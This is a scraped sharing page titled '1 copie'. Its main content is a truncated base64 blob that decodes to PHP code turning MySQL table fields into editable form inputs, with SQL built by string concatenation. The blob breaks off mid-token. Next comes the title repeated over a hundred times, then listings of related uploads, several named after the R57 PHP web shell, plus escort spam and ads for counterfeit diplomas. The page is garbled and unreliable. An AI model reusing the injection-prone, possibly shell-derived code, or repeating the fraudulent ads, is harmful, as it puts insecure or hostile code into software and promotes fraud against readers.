Cg0KICRteGxlbiA9IDgwOy8vbWF4IHdpZHRoIG9mIHRoZSBmb3JtIGZpZWxkcy4NCiBmb3IoJGk9
MDsgJGkgPCAkZmxkczsgJGkrKyl7DQogICAgICAkYXV0byA9ICJmYWxzZSI7DQogICAgICBlY2hv
ICI8dGg+Ii5teXNxbF9maWVsZF9uYW1lKCRmaWVsZHMsICRpKTsNCiAgICAgICRmaWVsZG5hbWUg
PSBteXNxbF9maWVsZF9uYW1lKCRmaWVsZHMsICRpKTsgIC8vIGFkZGVkDQogICAgICAkdHlwZSAg
PSBteXNxbF9maWVsZF90eXBlKCRyZXN1bHQsICRpKTsNCiAgICAgICRmbGVuID0gbXlzcWxfZmll
bGRfbGVuKCRyZXN1bHQsICRpKTsvL2xlbmd0aCBvZiB0aGUgZmllbGQNCiAgICAgICRmbGFnc3Ry
aW5nID0gbXlzcWxfZmllbGRfZmxhZ3MgKCRyZXN1bHQsICRpKTsNCiAgICAvLyBTdGFydCBvZiBu
ZXcgY29kZSBmb3Igc2V0IGRyb3AgZG93bg0KICAgICAgJG5ld3NxbCA9ICJzaG93IGNvbHVtbnMg
ZnJvbSAkdGFibGVuYW1lIGxpa2UgJyUiLiRmaWVsZG5hbWUuIiciOw0KICAgICAgJG5ld3Jlc3Vs
dCA9IGV4ZXF1ZXJ5KCRuZXdzcWwsICR0YWJsZW5hbWUsICRkYm5hbWUpOw0KICAgICAgLy9teXNx
bF9xdWVyeSgkbmV3c3FsKSBvciBkaWUgKCdJIGNhbm5vdCBnZXQgdGhlIHF1ZXJ5IGJlY2F1c2U6
ICcgLiBteXNxbF9lcnJvcigpKTsNCiAgICAgICRhcnI9bXlzcWxfZmV0Y2hfYXJyYXkoJG5ld3Jl
c3VsdCk7DQogICAgLy8gRW5kIG9mIG5ldyBjb2RlIGJsb2NrIGZvciBzZXQgZHJvcCBkb3duDQog
ICAgICBpZiAoZXJlZ2koInByaW1hcnkiLCRmbGFnc3RyaW5nICkpew0KICAgICAgICR0eXBlIC49
ICIgUEsgIjsNCiAgICAgIH0NCiAgICAgIGlmKGVyZWdpKCJhdXRvIiwkZmxhZ3N0cmluZyApKXsN
CiAgICAgICAkdHlwZSAuPSAiIGF1dG9faW5jcmVtZW50IjsNCiAgICAgICAkYXV0byA9ICJ0cnVl
IjsNCiAgICAgIH0NCiAgICAgIGlmICgkYXV0bz09InRydWUiKXsNCiAgICAgICAgZWNobyI8dGQ+
JHR5cGU8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2FycmF5WyRpXScgc2l6ZT0nJGZs
ZW4nIHZhbHVlPTAgLz48L3RkPjwvdHI+XG4iOw0KICAgICAgfWVsc2VpZigkZmxlbiA+ICRteGxl
bil7DQogICAgICAgICRyd3M9ICRmbGVuLyRteGxlbjsNCiAgICAgICAgaWYoJHJ3cz4xMCl7DQog
ICAgICAgICAgICAgJHJ3cz0xMDsgLy9tYXggbGVuZ3RoIG9mIHRleHRhcmVhDQogICAgICAgIH0N
CiAgICAgICAgZWNobyI8dGQ+JHR5cGU8L3RkPjx0ZD48dGV4dGFyZWEgbmFtZT0nYXJyYXlbJGld
JyByb3dzPSRyd3MgY29scz0kbXhsZW4+PC90ZXh0YXJlYT48L3RkPjwvdHI+XG4iOw0KICAgICAg
ICAvLyBTdGFydCBvZiBuZXcgY29kZSBmb3Igc2V0IGRyb3AgZG93bg0KICAgICAgfWVsc2VpZiAo
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie
1   copie

More Related Content

What's hot

IST 561 Session 3, Feb 9, 2009--XHMTL and CSS basics
IST 561 Session 3, Feb 9, 2009--XHMTL and CSS basicsIST 561 Session 3, Feb 9, 2009--XHMTL and CSS basics
IST 561 Session 3, Feb 9, 2009--XHMTL and CSS basicsD.A. Garofalo
 
2011 WBECS Speaker Final Lineup
2011 WBECS Speaker Final Lineup 2011 WBECS Speaker Final Lineup
2011 WBECS Speaker Final Lineup Ben Croft
 
Webservice study material axis2
Webservice study material   axis2Webservice study material   axis2
Webservice study material axis2Mohammad Shoiab
 
Simple Blue Blog Template XML 的副本
Simple Blue Blog Template XML 的副本Simple Blue Blog Template XML 的副本
Simple Blue Blog Template XML 的副本a5494535
 
CSSプリプロセッサの取扱説明書
CSSプリプロセッサの取扱説明書CSSプリプロセッサの取扱説明書
CSSプリプロセッサの取扱説明書拓樹 谷
 
Normativa riferimento 81 08
Normativa riferimento 81 08Normativa riferimento 81 08
Normativa riferimento 81 08sebaber
 
Présentation Quadrans
Présentation QuadransPrésentation Quadrans
Présentation Quadransybert
 
2010 UCLA State Farm Plans Book
2010 UCLA State Farm Plans Book2010 UCLA State Farm Plans Book
2010 UCLA State Farm Plans BookChristine Takaichi
 

What's hot (12)

IST 561 Session 3, Feb 9, 2009--XHMTL and CSS basics
IST 561 Session 3, Feb 9, 2009--XHMTL and CSS basicsIST 561 Session 3, Feb 9, 2009--XHMTL and CSS basics
IST 561 Session 3, Feb 9, 2009--XHMTL and CSS basics
 
2011 WBECS Speaker Final Lineup
2011 WBECS Speaker Final Lineup 2011 WBECS Speaker Final Lineup
2011 WBECS Speaker Final Lineup
 
Webservice study material axis2
Webservice study material   axis2Webservice study material   axis2
Webservice study material axis2
 
Cybersecurity200
Cybersecurity200Cybersecurity200
Cybersecurity200
 
Simple Blue Blog Template XML 的副本
Simple Blue Blog Template XML 的副本Simple Blue Blog Template XML 的副本
Simple Blue Blog Template XML 的副本
 
CSSプリプロセッサの取扱説明書
CSSプリプロセッサの取扱説明書CSSプリプロセッサの取扱説明書
CSSプリプロセッサの取扱説明書
 
Normativa riferimento 81 08
Normativa riferimento 81 08Normativa riferimento 81 08
Normativa riferimento 81 08
 
Présentation Quadrans
Présentation QuadransPrésentation Quadrans
Présentation Quadrans
 
Travel & Lifestyle
Travel & LifestyleTravel & Lifestyle
Travel & Lifestyle
 
2010 UCLA State Farm Plans Book
2010 UCLA State Farm Plans Book2010 UCLA State Farm Plans Book
2010 UCLA State Farm Plans Book
 
Workbook1
Workbook1Workbook1
Workbook1
 
Regalos 2012
Regalos 2012Regalos 2012
Regalos 2012
 

Viewers also liked

Composer for Magento 1.x and Magento 2
Composer for Magento 1.x and Magento 2Composer for Magento 1.x and Magento 2
Composer for Magento 1.x and Magento 2Sergii Shymko
 
Swati Chilwantkar(Rudrapur) Project PPT
Swati Chilwantkar(Rudrapur) Project PPTSwati Chilwantkar(Rudrapur) Project PPT
Swati Chilwantkar(Rudrapur) Project PPTSwati Chilwantkar
 
Magento Performance Toolkit
Magento Performance ToolkitMagento Performance Toolkit
Magento Performance ToolkitSergii Shymko
 
Hydraulic study of the neretva river
Hydraulic study of the neretva riverHydraulic study of the neretva river
Hydraulic study of the neretva riverDeda4Proning
 
Magento 2 Code Migration Tool
Magento 2 Code Migration ToolMagento 2 Code Migration Tool
Magento 2 Code Migration ToolSergii Shymko
 
Magento 2 Changes Overview
Magento 2 Changes OverviewMagento 2 Changes Overview
Magento 2 Changes OverviewSergii Shymko
 
Magento 2 Composer for Extensions Distribution
Magento 2 Composer for Extensions DistributionMagento 2 Composer for Extensions Distribution
Magento 2 Composer for Extensions DistributionSergii Shymko
 
Zaključci bd razvitak zgk 2008
Zaključci bd razvitak zgk 2008Zaključci bd razvitak zgk 2008
Zaključci bd razvitak zgk 2008Deda4Proning
 
Black Magic of Code Generation in Magento 2
Black Magic of Code Generation in Magento 2Black Magic of Code Generation in Magento 2
Black Magic of Code Generation in Magento 2Sergii Shymko
 
Magento 2 Theme Localization
Magento 2 Theme LocalizationMagento 2 Theme Localization
Magento 2 Theme LocalizationSergii Shymko
 
Magento 1.x to Magento 2 Code Migration Tools
Magento 1.x to Magento 2 Code Migration ToolsMagento 1.x to Magento 2 Code Migration Tools
Magento 1.x to Magento 2 Code Migration ToolsSergii Shymko
 

Viewers also liked (18)

Composer for Magento 1.x and Magento 2
Composer for Magento 1.x and Magento 2Composer for Magento 1.x and Magento 2
Composer for Magento 1.x and Magento 2
 
Swati Chilwantkar(Rudrapur) Project PPT
Swati Chilwantkar(Rudrapur) Project PPTSwati Chilwantkar(Rudrapur) Project PPT
Swati Chilwantkar(Rudrapur) Project PPT
 
Urbana hidroinfo
Urbana hidroinfoUrbana hidroinfo
Urbana hidroinfo
 
1.php
1.php1.php
1.php
 
Magento Performance Toolkit
Magento Performance ToolkitMagento Performance Toolkit
Magento Performance Toolkit
 
H.php
H.phpH.php
H.php
 
Composer in Magento
Composer in MagentoComposer in Magento
Composer in Magento
 
Hydraulic study of the neretva river
Hydraulic study of the neretva riverHydraulic study of the neretva river
Hydraulic study of the neretva river
 
Magento 2 Code Migration Tool
Magento 2 Code Migration ToolMagento 2 Code Migration Tool
Magento 2 Code Migration Tool
 
Magento 2 Changes Overview
Magento 2 Changes OverviewMagento 2 Changes Overview
Magento 2 Changes Overview
 
Magento 2 Composer for Extensions Distribution
Magento 2 Composer for Extensions DistributionMagento 2 Composer for Extensions Distribution
Magento 2 Composer for Extensions Distribution
 
Zaključci bd razvitak zgk 2008
Zaključci bd razvitak zgk 2008Zaključci bd razvitak zgk 2008
Zaključci bd razvitak zgk 2008
 
Black Magic of Code Generation in Magento 2
Black Magic of Code Generation in Magento 2Black Magic of Code Generation in Magento 2
Black Magic of Code Generation in Magento 2
 
Magento 2 Theme Localization
Magento 2 Theme LocalizationMagento 2 Theme Localization
Magento 2 Theme Localization
 
Neretva v07de
Neretva  v07deNeretva  v07de
Neretva v07de
 
Dobra 2006
Dobra 2006Dobra 2006
Dobra 2006
 
Magento 1.x to Magento 2 Code Migration Tools
Magento 1.x to Magento 2 Code Migration ToolsMagento 1.x to Magento 2 Code Migration Tools
Magento 1.x to Magento 2 Code Migration Tools
 
Stmoritz
StmoritzStmoritz
Stmoritz
 

Similar to 1 copie

R57php 1231677414471772-2
R57php 1231677414471772-2R57php 1231677414471772-2
R57php 1231677414471772-2ady36
 
Sass maps, my precious! 2.0
Sass maps, my precious! 2.0Sass maps, my precious! 2.0
Sass maps, my precious! 2.0Andréa Zambrana
 
Postlet June1709
Postlet June1709Postlet June1709
Postlet June1709bnbanmare
 
Floating ad widget
Floating ad widgetFloating ad widget
Floating ad widgetpanther420
 
Anti-ProphetMohammadMediaACriticalDiscourseAnalysis (1).pdf
Anti-ProphetMohammadMediaACriticalDiscourseAnalysis (1).pdfAnti-ProphetMohammadMediaACriticalDiscourseAnalysis (1).pdf
Anti-ProphetMohammadMediaACriticalDiscourseAnalysis (1).pdfAhmed Qadoury Abed
 
this work took many years as this case was much suppressed by british-The sui...
this work took many years as this case was much suppressed by british-The sui...this work took many years as this case was much suppressed by british-The sui...
this work took many years as this case was much suppressed by british-The sui...Agha A
 
Tabla con las principales entidades (Photoshop)
Tabla con las principales entidades (Photoshop)Tabla con las principales entidades (Photoshop)
Tabla con las principales entidades (Photoshop)Cat Lunac
 
"El Cristo de la Rue Jacob" - Severo Sarduy
"El Cristo de la Rue Jacob" - Severo Sarduy"El Cristo de la Rue Jacob" - Severo Sarduy
"El Cristo de la Rue Jacob" - Severo Sarduycparodi91
 
Outsourcing 3.0: the agile way
Outsourcing 3.0: the agile wayOutsourcing 3.0: the agile way
Outsourcing 3.0: the agile wayAlexey Krivitsky
 
USD 1.49 billion invested in Silicon Valley mobile companies in 2008
USD 1.49 billion invested in Silicon Valley mobile companies in 2008USD 1.49 billion invested in Silicon Valley mobile companies in 2008
USD 1.49 billion invested in Silicon Valley mobile companies in 2008MOMO BUENOSAIRES
 
Teddy Bear Blue
Teddy Bear BlueTeddy Bear Blue
Teddy Bear Blueangeliclv
 
Theme futura suicida não use como base e nem copie
Theme futura suicida não use como base e nem copieTheme futura suicida não use como base e nem copie
Theme futura suicida não use como base e nem copieRafaela Souza
 
Theme futura suicida não use como base e nem copie
Theme futura suicida não use como base e nem copieTheme futura suicida não use como base e nem copie
Theme futura suicida não use como base e nem copieRafaela Souza
 
Web Design Course - Lecture 5 - iframe, Color, Enities and symbols, Audio and...
Web Design Course - Lecture 5 - iframe, Color, Enities and symbols, Audio and...Web Design Course - Lecture 5 - iframe, Color, Enities and symbols, Audio and...
Web Design Course - Lecture 5 - iframe, Color, Enities and symbols, Audio and...Al-Mamun Sarkar
 
LessCSS Presentation @ April 2015 GTALUG Meeting
LessCSS Presentation @ April 2015 GTALUG MeetingLessCSS Presentation @ April 2015 GTALUG Meeting
LessCSS Presentation @ April 2015 GTALUG MeetingMyles Braithwaite
 

Similar to 1 copie (20)

R57php 1231677414471772-2
R57php 1231677414471772-2R57php 1231677414471772-2
R57php 1231677414471772-2
 
Sass maps, my precious! 2.0
Sass maps, my precious! 2.0Sass maps, my precious! 2.0
Sass maps, my precious! 2.0
 
abosweed.R57
abosweed.R57abosweed.R57
abosweed.R57
 
Postlet June1709
Postlet June1709Postlet June1709
Postlet June1709
 
Floating ad widget
Floating ad widgetFloating ad widget
Floating ad widget
 
Anti-ProphetMohammadMediaACriticalDiscourseAnalysis (1).pdf
Anti-ProphetMohammadMediaACriticalDiscourseAnalysis (1).pdfAnti-ProphetMohammadMediaACriticalDiscourseAnalysis (1).pdf
Anti-ProphetMohammadMediaACriticalDiscourseAnalysis (1).pdf
 
this work took many years as this case was much suppressed by british-The sui...
this work took many years as this case was much suppressed by british-The sui...this work took many years as this case was much suppressed by british-The sui...
this work took many years as this case was much suppressed by british-The sui...
 
referente
referentereferente
referente
 
Tabla con las principales entidades (Photoshop)
Tabla con las principales entidades (Photoshop)Tabla con las principales entidades (Photoshop)
Tabla con las principales entidades (Photoshop)
 
"El Cristo de la Rue Jacob" - Severo Sarduy
"El Cristo de la Rue Jacob" - Severo Sarduy"El Cristo de la Rue Jacob" - Severo Sarduy
"El Cristo de la Rue Jacob" - Severo Sarduy
 
Nop2
Nop2Nop2
Nop2
 
Outsourcing 3.0: the agile way
Outsourcing 3.0: the agile wayOutsourcing 3.0: the agile way
Outsourcing 3.0: the agile way
 
USD 1.49 billion invested in Silicon Valley mobile companies in 2008
USD 1.49 billion invested in Silicon Valley mobile companies in 2008USD 1.49 billion invested in Silicon Valley mobile companies in 2008
USD 1.49 billion invested in Silicon Valley mobile companies in 2008
 
Teddy Bear Blue
Teddy Bear BlueTeddy Bear Blue
Teddy Bear Blue
 
Theme futura suicida não use como base e nem copie
Theme futura suicida não use como base e nem copieTheme futura suicida não use como base e nem copie
Theme futura suicida não use como base e nem copie
 
Theme futura suicida não use como base e nem copie
Theme futura suicida não use como base e nem copieTheme futura suicida não use como base e nem copie
Theme futura suicida não use como base e nem copie
 
Web Design Course - Lecture 5 - iframe, Color, Enities and symbols, Audio and...
Web Design Course - Lecture 5 - iframe, Color, Enities and symbols, Audio and...Web Design Course - Lecture 5 - iframe, Color, Enities and symbols, Audio and...
Web Design Course - Lecture 5 - iframe, Color, Enities and symbols, Audio and...
 
Informações
InformaçõesInformações
Informações
 
LessCSS Presentation @ April 2015 GTALUG Meeting
LessCSS Presentation @ April 2015 GTALUG MeetingLessCSS Presentation @ April 2015 GTALUG Meeting
LessCSS Presentation @ April 2015 GTALUG Meeting
 
R57.Php
R57.PhpR57.Php
R57.Php
 

Recently uploaded

Bhubaneswar🌹Vip Call Girls Odisha❤Heer 9777949614 💟 Full Trusted CALL GIRLS I...
Bhubaneswar🌹Vip Call Girls Odisha❤Heer 9777949614 💟 Full Trusted CALL GIRLS I...Bhubaneswar🌹Vip Call Girls Odisha❤Heer 9777949614 💟 Full Trusted CALL GIRLS I...
Bhubaneswar🌹Vip Call Girls Odisha❤Heer 9777949614 💟 Full Trusted CALL GIRLS I...jabtakhaidam7
 
What Does It Mean When Mercedes Says 'ESP Inoperative See Owner's Manual'
What Does It Mean When Mercedes Says 'ESP Inoperative See Owner's Manual'What Does It Mean When Mercedes Says 'ESP Inoperative See Owner's Manual'
What Does It Mean When Mercedes Says 'ESP Inoperative See Owner's Manual'Euromotive Performance
 
如何办理加拿大麦克马斯特大学毕业证(McMaste 毕业证书)毕业证成绩单原版一比一
如何办理加拿大麦克马斯特大学毕业证(McMaste 毕业证书)毕业证成绩单原版一比一如何办理加拿大麦克马斯特大学毕业证(McMaste 毕业证书)毕业证成绩单原版一比一
如何办理加拿大麦克马斯特大学毕业证(McMaste 毕业证书)毕业证成绩单原版一比一8jg9cqy
 
一比一原版西安大略大学毕业证(UWO毕业证)成绩单原件一模一样
一比一原版西安大略大学毕业证(UWO毕业证)成绩单原件一模一样一比一原版西安大略大学毕业证(UWO毕业证)成绩单原件一模一样
一比一原版西安大略大学毕业证(UWO毕业证)成绩单原件一模一样wsppdmt
 
一比一原版(Deakin毕业证书)迪肯大学毕业证成绩单留信学历认证
一比一原版(Deakin毕业证书)迪肯大学毕业证成绩单留信学历认证一比一原版(Deakin毕业证书)迪肯大学毕业证成绩单留信学历认证
一比一原版(Deakin毕业证书)迪肯大学毕业证成绩单留信学历认证62qaf0hi
 
Call Girls Kolkata +910000000000 call me Independent Escort Service Bengal
Call Girls Kolkata +910000000000 call me Independent Escort Service BengalCall Girls Kolkata +910000000000 call me Independent Escort Service Bengal
Call Girls Kolkata +910000000000 call me Independent Escort Service BengalCall Girls Mumbai
 
Call Girls In Delhi, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} Escor...
Call Girls In Delhi, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} Escor...Call Girls In Delhi, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} Escor...
Call Girls In Delhi, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} Escor...Call Girls Mumbai
 
Call Girls In Rishikesh, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} E...
Call Girls In Rishikesh, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} E...Call Girls In Rishikesh, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} E...
Call Girls In Rishikesh, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} E...Call Girls Mumbai
 
如何办理(Waterloo毕业证书)滑铁卢大学毕业证毕业证成绩单原版一比一
如何办理(Waterloo毕业证书)滑铁卢大学毕业证毕业证成绩单原版一比一如何办理(Waterloo毕业证书)滑铁卢大学毕业证毕业证成绩单原版一比一
如何办理(Waterloo毕业证书)滑铁卢大学毕业证毕业证成绩单原版一比一avy6anjnd
 
如何办理(NCL毕业证书)纽卡斯尔大学毕业证毕业证成绩单原版一比一
如何办理(NCL毕业证书)纽卡斯尔大学毕业证毕业证成绩单原版一比一如何办理(NCL毕业证书)纽卡斯尔大学毕业证毕业证成绩单原版一比一
如何办理(NCL毕业证书)纽卡斯尔大学毕业证毕业证成绩单原版一比一avy6anjnd
 
Top profile Call Girls In Thrissur [ 7014168258 ] Call Me For Genuine Models ...
Top profile Call Girls In Thrissur [ 7014168258 ] Call Me For Genuine Models ...Top profile Call Girls In Thrissur [ 7014168258 ] Call Me For Genuine Models ...
Top profile Call Girls In Thrissur [ 7014168258 ] Call Me For Genuine Models ...nirzagarg
 
Premium Call Girls Nagpur Call Girls (Adult Only) 💯Call Us 🔝 6378878445 🔝 💃 E...
Premium Call Girls Nagpur Call Girls (Adult Only) 💯Call Us 🔝 6378878445 🔝 💃 E...Premium Call Girls Nagpur Call Girls (Adult Only) 💯Call Us 🔝 6378878445 🔝 💃 E...
Premium Call Girls Nagpur Call Girls (Adult Only) 💯Call Us 🔝 6378878445 🔝 💃 E...vershagrag
 
Top profile Call Girls In Ranchi [ 7014168258 ] Call Me For Genuine Models We...
Top profile Call Girls In Ranchi [ 7014168258 ] Call Me For Genuine Models We...Top profile Call Girls In Ranchi [ 7014168258 ] Call Me For Genuine Models We...
Top profile Call Girls In Ranchi [ 7014168258 ] Call Me For Genuine Models We...gajnagarg
 
如何办理伦敦商学院毕业证(LBS毕业证)毕业证成绩单原版一比一
如何办理伦敦商学院毕业证(LBS毕业证)毕业证成绩单原版一比一如何办理伦敦商学院毕业证(LBS毕业证)毕业证成绩单原版一比一
如何办理伦敦商学院毕业证(LBS毕业证)毕业证成绩单原版一比一avy6anjnd
 
Is Your Mercedes Benz Trunk Refusing To Close Here's What Might Be Wrong
Is Your Mercedes Benz Trunk Refusing To Close Here's What Might Be WrongIs Your Mercedes Benz Trunk Refusing To Close Here's What Might Be Wrong
Is Your Mercedes Benz Trunk Refusing To Close Here's What Might Be WrongMomentum Motorworks
 
如何办理田纳西大学毕业证(UTK毕业证)成绩单原版一比一
如何办理田纳西大学毕业证(UTK毕业证)成绩单原版一比一如何办理田纳西大学毕业证(UTK毕业证)成绩单原版一比一
如何办理田纳西大学毕业证(UTK毕业证)成绩单原版一比一fhjlokjhi
 
Top profile Call Girls In dewas [ 7014168258 ] Call Me For Genuine Models We ...
Top profile Call Girls In dewas [ 7014168258 ] Call Me For Genuine Models We ...Top profile Call Girls In dewas [ 7014168258 ] Call Me For Genuine Models We ...
Top profile Call Girls In dewas [ 7014168258 ] Call Me For Genuine Models We ...gajnagarg
 
John deere 7200r 7230R 7260R Problems Repair Manual
John deere 7200r 7230R 7260R Problems Repair ManualJohn deere 7200r 7230R 7260R Problems Repair Manual
John deere 7200r 7230R 7260R Problems Repair ManualExcavator
 
在线定制(UBC毕业证书)英属哥伦比亚大学毕业证成绩单留信学历认证原版一比一
在线定制(UBC毕业证书)英属哥伦比亚大学毕业证成绩单留信学历认证原版一比一在线定制(UBC毕业证书)英属哥伦比亚大学毕业证成绩单留信学历认证原版一比一
在线定制(UBC毕业证书)英属哥伦比亚大学毕业证成绩单留信学历认证原版一比一qh1ao5mm
 
T.L.E 5S's (Seiri, Seiton, Seiso, Seiketsu, Shitsuke).pptx
T.L.E 5S's (Seiri, Seiton, Seiso, Seiketsu, Shitsuke).pptxT.L.E 5S's (Seiri, Seiton, Seiso, Seiketsu, Shitsuke).pptx
T.L.E 5S's (Seiri, Seiton, Seiso, Seiketsu, Shitsuke).pptxBernardLongboan
 

Recently uploaded (20)

Bhubaneswar🌹Vip Call Girls Odisha❤Heer 9777949614 💟 Full Trusted CALL GIRLS I...
Bhubaneswar🌹Vip Call Girls Odisha❤Heer 9777949614 💟 Full Trusted CALL GIRLS I...Bhubaneswar🌹Vip Call Girls Odisha❤Heer 9777949614 💟 Full Trusted CALL GIRLS I...
Bhubaneswar🌹Vip Call Girls Odisha❤Heer 9777949614 💟 Full Trusted CALL GIRLS I...
 
What Does It Mean When Mercedes Says 'ESP Inoperative See Owner's Manual'
What Does It Mean When Mercedes Says 'ESP Inoperative See Owner's Manual'What Does It Mean When Mercedes Says 'ESP Inoperative See Owner's Manual'
What Does It Mean When Mercedes Says 'ESP Inoperative See Owner's Manual'
 
如何办理加拿大麦克马斯特大学毕业证(McMaste 毕业证书)毕业证成绩单原版一比一
如何办理加拿大麦克马斯特大学毕业证(McMaste 毕业证书)毕业证成绩单原版一比一如何办理加拿大麦克马斯特大学毕业证(McMaste 毕业证书)毕业证成绩单原版一比一
如何办理加拿大麦克马斯特大学毕业证(McMaste 毕业证书)毕业证成绩单原版一比一
 
一比一原版西安大略大学毕业证(UWO毕业证)成绩单原件一模一样
一比一原版西安大略大学毕业证(UWO毕业证)成绩单原件一模一样一比一原版西安大略大学毕业证(UWO毕业证)成绩单原件一模一样
一比一原版西安大略大学毕业证(UWO毕业证)成绩单原件一模一样
 
一比一原版(Deakin毕业证书)迪肯大学毕业证成绩单留信学历认证
一比一原版(Deakin毕业证书)迪肯大学毕业证成绩单留信学历认证一比一原版(Deakin毕业证书)迪肯大学毕业证成绩单留信学历认证
一比一原版(Deakin毕业证书)迪肯大学毕业证成绩单留信学历认证
 
Call Girls Kolkata +910000000000 call me Independent Escort Service Bengal
Call Girls Kolkata +910000000000 call me Independent Escort Service BengalCall Girls Kolkata +910000000000 call me Independent Escort Service Bengal
Call Girls Kolkata +910000000000 call me Independent Escort Service Bengal
 
Call Girls In Delhi, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} Escor...
Call Girls In Delhi, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} Escor...Call Girls In Delhi, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} Escor...
Call Girls In Delhi, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} Escor...
 
Call Girls In Rishikesh, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} E...
Call Girls In Rishikesh, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} E...Call Girls In Rishikesh, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} E...
Call Girls In Rishikesh, Website Rent Mr Avishek {bookkdreamgirl@gmail.com} E...
 
如何办理(Waterloo毕业证书)滑铁卢大学毕业证毕业证成绩单原版一比一
如何办理(Waterloo毕业证书)滑铁卢大学毕业证毕业证成绩单原版一比一如何办理(Waterloo毕业证书)滑铁卢大学毕业证毕业证成绩单原版一比一
如何办理(Waterloo毕业证书)滑铁卢大学毕业证毕业证成绩单原版一比一
 
如何办理(NCL毕业证书)纽卡斯尔大学毕业证毕业证成绩单原版一比一
如何办理(NCL毕业证书)纽卡斯尔大学毕业证毕业证成绩单原版一比一如何办理(NCL毕业证书)纽卡斯尔大学毕业证毕业证成绩单原版一比一
如何办理(NCL毕业证书)纽卡斯尔大学毕业证毕业证成绩单原版一比一
 
Top profile Call Girls In Thrissur [ 7014168258 ] Call Me For Genuine Models ...
Top profile Call Girls In Thrissur [ 7014168258 ] Call Me For Genuine Models ...Top profile Call Girls In Thrissur [ 7014168258 ] Call Me For Genuine Models ...
Top profile Call Girls In Thrissur [ 7014168258 ] Call Me For Genuine Models ...
 
Premium Call Girls Nagpur Call Girls (Adult Only) 💯Call Us 🔝 6378878445 🔝 💃 E...
Premium Call Girls Nagpur Call Girls (Adult Only) 💯Call Us 🔝 6378878445 🔝 💃 E...Premium Call Girls Nagpur Call Girls (Adult Only) 💯Call Us 🔝 6378878445 🔝 💃 E...
Premium Call Girls Nagpur Call Girls (Adult Only) 💯Call Us 🔝 6378878445 🔝 💃 E...
 
Top profile Call Girls In Ranchi [ 7014168258 ] Call Me For Genuine Models We...
Top profile Call Girls In Ranchi [ 7014168258 ] Call Me For Genuine Models We...Top profile Call Girls In Ranchi [ 7014168258 ] Call Me For Genuine Models We...
Top profile Call Girls In Ranchi [ 7014168258 ] Call Me For Genuine Models We...
 
如何办理伦敦商学院毕业证(LBS毕业证)毕业证成绩单原版一比一
如何办理伦敦商学院毕业证(LBS毕业证)毕业证成绩单原版一比一如何办理伦敦商学院毕业证(LBS毕业证)毕业证成绩单原版一比一
如何办理伦敦商学院毕业证(LBS毕业证)毕业证成绩单原版一比一
 
Is Your Mercedes Benz Trunk Refusing To Close Here's What Might Be Wrong
Is Your Mercedes Benz Trunk Refusing To Close Here's What Might Be WrongIs Your Mercedes Benz Trunk Refusing To Close Here's What Might Be Wrong
Is Your Mercedes Benz Trunk Refusing To Close Here's What Might Be Wrong
 
如何办理田纳西大学毕业证(UTK毕业证)成绩单原版一比一
如何办理田纳西大学毕业证(UTK毕业证)成绩单原版一比一如何办理田纳西大学毕业证(UTK毕业证)成绩单原版一比一
如何办理田纳西大学毕业证(UTK毕业证)成绩单原版一比一
 
Top profile Call Girls In dewas [ 7014168258 ] Call Me For Genuine Models We ...
Top profile Call Girls In dewas [ 7014168258 ] Call Me For Genuine Models We ...Top profile Call Girls In dewas [ 7014168258 ] Call Me For Genuine Models We ...
Top profile Call Girls In dewas [ 7014168258 ] Call Me For Genuine Models We ...
 
John deere 7200r 7230R 7260R Problems Repair Manual
John deere 7200r 7230R 7260R Problems Repair ManualJohn deere 7200r 7230R 7260R Problems Repair Manual
John deere 7200r 7230R 7260R Problems Repair Manual
 
在线定制(UBC毕业证书)英属哥伦比亚大学毕业证成绩单留信学历认证原版一比一
在线定制(UBC毕业证书)英属哥伦比亚大学毕业证成绩单留信学历认证原版一比一在线定制(UBC毕业证书)英属哥伦比亚大学毕业证成绩单留信学历认证原版一比一
在线定制(UBC毕业证书)英属哥伦比亚大学毕业证成绩单留信学历认证原版一比一
 
T.L.E 5S's (Seiri, Seiton, Seiso, Seiketsu, Shitsuke).pptx
T.L.E 5S's (Seiri, Seiton, Seiso, Seiketsu, Shitsuke).pptxT.L.E 5S's (Seiri, Seiton, Seiso, Seiketsu, Shitsuke).pptx
T.L.E 5S's (Seiri, Seiton, Seiso, Seiketsu, Shitsuke).pptx
 

1 copie